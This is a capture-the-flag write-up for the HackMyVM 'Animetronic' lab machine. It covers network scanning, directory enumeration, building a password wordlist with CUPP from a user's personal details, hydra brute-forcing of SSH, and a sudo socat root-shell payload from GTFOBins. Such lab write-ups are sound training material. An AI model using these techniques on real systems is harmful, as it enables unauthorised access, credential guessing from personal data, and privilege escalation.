Animetronic - HackMyVM Writeup

This machine can be downloaded from HackMyVM. You don’t need to create an account, you only need an account to submit the user/root flags and access the rest of the platform.

To set up this machine inside Proxmox, I used the following resource as a reference: https://benheater.com/proxmox-lab-adding-vulnhub-vms/. Additionally, I had to fix some DHCP issues when booting the machine using the following resource: https://benheater.com/proxmox-lab-adding-hackmyvm-boxes/.

Finally, I set up a simple DHCP server to assign an IP address from my Kali machine to the vulnerable VM. Here’s my own guide on how to configured it based on a previous writeup for the Kioptrix series: Kioptrix Level 2 (1.1) - VulnHub Writeup

Enumeration

Let's find the IP address belonging to our vulnerable VM with arp-scan.

└─$ sudo arp-scan --interface=eth2 -l
Interface: eth2, type: EN10MB, MAC: bc:24:11:b4:13:a7, IPv4: 10.0.1.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.1.113      bc:24:11:c1:bb:96       (Unknown)

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.029 seconds (126.17 hosts/sec). 1 responded

Now, let's check which services/ports are open with nmap.

└─$ nmap 10.0.1.113 -p- -T4 -oN all-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-06 12:13 MDT
Nmap scan report for 10.0.1.113
Host is up (0.000092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: BC:24:11:C1:BB:96 (Proxmox Server Solutions GmbH)

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds

Let's start by looking into the website. The first time we enter the website, we are met with an alert.

According to whatweb, these are the technologies used to maintain the website.

└─$ whatweb http://10.0.1.113
http://10.0.1.113 [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.0.1.113], JQuery, Script, Title[Animetronic]

There isn't anything really interesting in the main page, let's enumerate the directories of the website.

The /staffpages directory looks interesting, navigating to this directory directly will return a Not Found error. If we continue enumerating for directories inside /staffpages, we will find a valid page.

If we visit this page, we will be met an image portraying FNAF characters.

This artpiece is pretty cool, I wonder if there's anything embedded inside of it? If we download the image and run exiftool, we will find a comment directed to someone referred to as michael:

If we visit the message_for_michael page inside the staffpages directory, we will find a message directed towards Michael.

The personal_info.txt file is also available inside the staffpages directory. As expected, it contains personal information related to Michael.

Since the only other open service is an SSH service, we could try to brute force that service with the michael account using passwords generated from personal_info.txt.

Creating a Wordlist with CUPP

CUPP (Common User Passwords Profiler) seems like the perfect tool for this scenario. We can download this tool from the GitHub repo with git clone https://github.com/Mebus/cupp.git. Once it is downloaded, we can execute the tool in interactive mode and enter the personal information we obtained from the note on the website.

Using this wordlist, we can use hydra to brute force the passwords. After some time, we will get credentials for the michael user.

Once we ssh in as michael, we will find nothing of interest in its home directory. Inside the home directory, we will be able to find the user flag under another user's home directory!

michael@animetronic:~$ ls -l /home/henry/
total 8
-rwxrwxr-x 1 henry henry 119 Nov 27  2023 Note.txt
-rwxrwxr-x 1 henry henry  33 Nov 27  2023 user.txt

Privilege Escalation

michael -> henry

Currently, the michael user has no perms to run anything as sudo.

michael@animetronic:/home/henry$ sudo -l
[sudo] password for michael:
Sorry, user michael may not run sudo on animetronic.

Knowing that the flag was inside /home/henry, we should try to get access to this account. Inside that directory, we can find a Note.txt file with an important clue.

michael@animetronic:/home/henry$ cat Note.txt
if you need my account to do anything on the server,
you will find my password in file named

aGVucnlwYXNzd29yZC50eHQK

This line is base64-encoded, let's decode and find the actual file containing the password with find.

michael@animetronic:/home/henry$ echo "aGVucnlwYXNzd29yZC50eHQK" | base64 -d
henrypassword.txt
michael@animetronic:/home/henry$ find / -name henrypassword.txt  2>/dev/null
/home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
michael@animetronic:/home/henry$ cat /home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
IHateWilliam

With su, we can get access to the henry account.

michael@animetronic:/home/henry$ su henry
Password:
henry@animetronic:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

henry -> root

Now, let's check sudo -l to find any interesting binaries that can be executed by henry.

henry@animetronic:~$ sudo -l
Matching Defaults entries for henry on animetronic:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User henry may run the following commands on animetronic:
    (root) NOPASSWD: /usr/bin/socat

socat is a binary used to transfer data through sockets, acting as a netcat replacement. This binary can be used to get a shell as root by using the following payload from GTFOBins: socat - exec:/bin/sh,pty,ctty,raw,echo=0.

henry@animetronic:~$ sudo socat - exec:/bin/sh,pty,ctty,raw,echo=0
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt